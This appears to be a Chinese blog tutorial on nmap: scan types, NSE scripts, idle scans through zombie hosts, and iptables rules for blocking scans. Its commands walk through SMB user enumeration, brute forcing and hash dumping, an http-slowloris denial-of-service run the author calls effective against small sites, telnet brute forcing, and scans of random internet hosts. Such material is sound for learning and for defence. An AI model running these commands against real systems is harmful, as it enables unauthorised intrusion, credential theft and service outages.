HACK LIKE A PRO
HACK LIKE A PRO
nmap原理探究及脚本使用&如何简单防御nmap
0x00 TCP连接过程:三次与四次握手
- SYN: (同步序列编号,Synchronize Sequenc7、e Numbers)
- ACK: (确认编号,Acknowledgement Number)
- FIN: (结束标志,FINish)

首先Client端发送连接请求报文,Server段接受连接后回复ACK报文,并为这次连接分配资源。Client端接收到ACK报文后也向Server段发生ACK报文,并分配资源,这样TCP连接就建立了。

完整的连接建立与结束过程

0x01 nmap功能介绍
1.主机存活检测
2.端口探测
3.服务识别&服务版本
4.操作系统识别
5.漏洞扫描,使用nmap自带脚本
0x02 手册

0x03 主机发现
-PR ARP协议,在子网内可以直接用这个协议,速度比tcp速度快
TCP:(PA)
如果发未经请求的ACK--RST?
tcp特点:没有建立连接的包会给来源ip发一个rst包
此种方法不会在防火墙留下记录,
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程
-PS/PA/: 使用TCPSYN/ACK方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
0x04 端口扫描
-sS/sT/sA/:指定使用 TCP SYN/Connect()/ACK/ scans的方式来对目标主机进行扫描。
-sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。
-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。
--scanflags <flags>: 定制TCP包的flags。
-sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)
对网络指定端口随机扫描
nmap -sS -PS80 -iR 0 -p 80
当然最重要的是找自己想要搞的端口:)
0x05 服务探测
Nmap有350种以上协议如smtp,ftp,http等的大约3000条模式匹配。
-sV (版本探测)
打开版本探测。 -A同时打开操作系统探测和版本探测。
--version-all (尝试每个端口探测)
0x06 系统识别
-O
0x07 脚本的使用
- auth: 负责处理鉴权证书(绕开鉴权)的脚本
- broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
- brute: 提供暴力破解方式,针对常见的应用如http/snmp等
- default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
- discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
- dos: 用于进行拒绝服务攻击
- exploit: 利用已知的漏洞入侵系统
- external: 利用第三方的数据库或资源,例如进行whois解析
- fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
- intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
- malware: 探测目标机是否感染了病毒、开启了后门等信息
- safe: 此类与intrusive相反,属于安全性脚本
- version: 负责增强服务与版本扫描(Version Detection)功能的脚本
- vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
测试mysql、ftp等服务,使用auth、brute等脚本
僵尸网络


step 1 :
寻找一个可以利用的zombie:
nmap 192.168.32.0/24 --script=ipidseq -n -v
step 2 :
利用僵尸机进行扫描
nmap 192.168.32.0/24 -sI 192.168.32.xx -n -v
寻找僵尸机:
nmap -iR 0 --script=ipidseq
以smb服务为例,测试脚本
探测安全模式
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-security-mode
主机发现
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-os-discovery
列举共享文件
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-enum-shares --script-args=smbuser=administrator,smbpass=clay
TEST:
Step 1: discovery
nmap -n -v --script=smb-os-discovery 192.168.32.0/24
Step 2: Generate user list
nmap -n -v --script=smb-enum-users 192.168.32.0/24
Step 3: Brute force known user accounts
nmap -n -v --script=smb-brute --script-args=userdb=c:\Users\whois\Desktop\username.txt 192.168.32.0/24
Step 4: Dump hashes and try cracking
nmap -p445 --script=smb-pwdump --script-args=smbuser=test,smbpass=test,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.0/24
Step 5: Try using discovered hashes
nmap -p445 --script=smb-brute --script-args=userdb=usernames.txt,passdb=passwords.txt 192.168.32.0/24
Step 6: Dump hashes and try cracking (again)
-p445 --script=smb-pwdump --script-args=smbuser=mary,smbhash=ADA65BF48C2CB30AE608489E290618AA,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.20
Step 7: Login
常用脚本
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=broadcast-netbios-master-browser 192.168.137.4 发现网关
0x08 输出格式
- 扫描结果输出为xml
nmap <target> -oX name.xml
- 随机寻找目标
nmap -sS -PS80 -iR 0 -p80
0x09 脚本分析:
下次再说.
lua语言编写
0x10 防御
iptables
常见命令:
-A, --append 新增规则(追加方式)
-D, --delete 删除规则
-L, --list 列出某规则链中的所有规则 iptables -L INPUT
常见参数:
-p, --protocol 指定协议
-d, --dst, --destination 指定目的地址
-i, --in-interface 指定入口网卡 iptables -A INPUT -i eth0 (-i eth+ 所有网卡)
--dport, --destination-port 目的端口
-j 指定对包的处理(ACCEPT、DROP、REJECT、REDIRECT)
example:
sudo iptables -A INPUT -p icmp -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
防御设置
iptables -F
清除预设表filter中的所有规则链的规则
iptables -A INPUT -p tcp –tcp-flags ALL FIN,URG,PSH -j Drop
iptables -A INPUT -p tcp –tcp-flags SYN,RST SYN,RST -j Drop
iptables -A INPUT -p tcp –tcp-flags SYN,FIN SYN,FIN -j Drop
iptables -A INPUT -p tcp –tcp-flags SyN SYN –dport 80 -j Drop
sudo iptables -A INPUT -p icmp -j Drop
sudo iptables -A FORWARD -f -m limit --limit 100/s --limit-burst 100 -j ACCEPT

浙公网安备 33010602011771号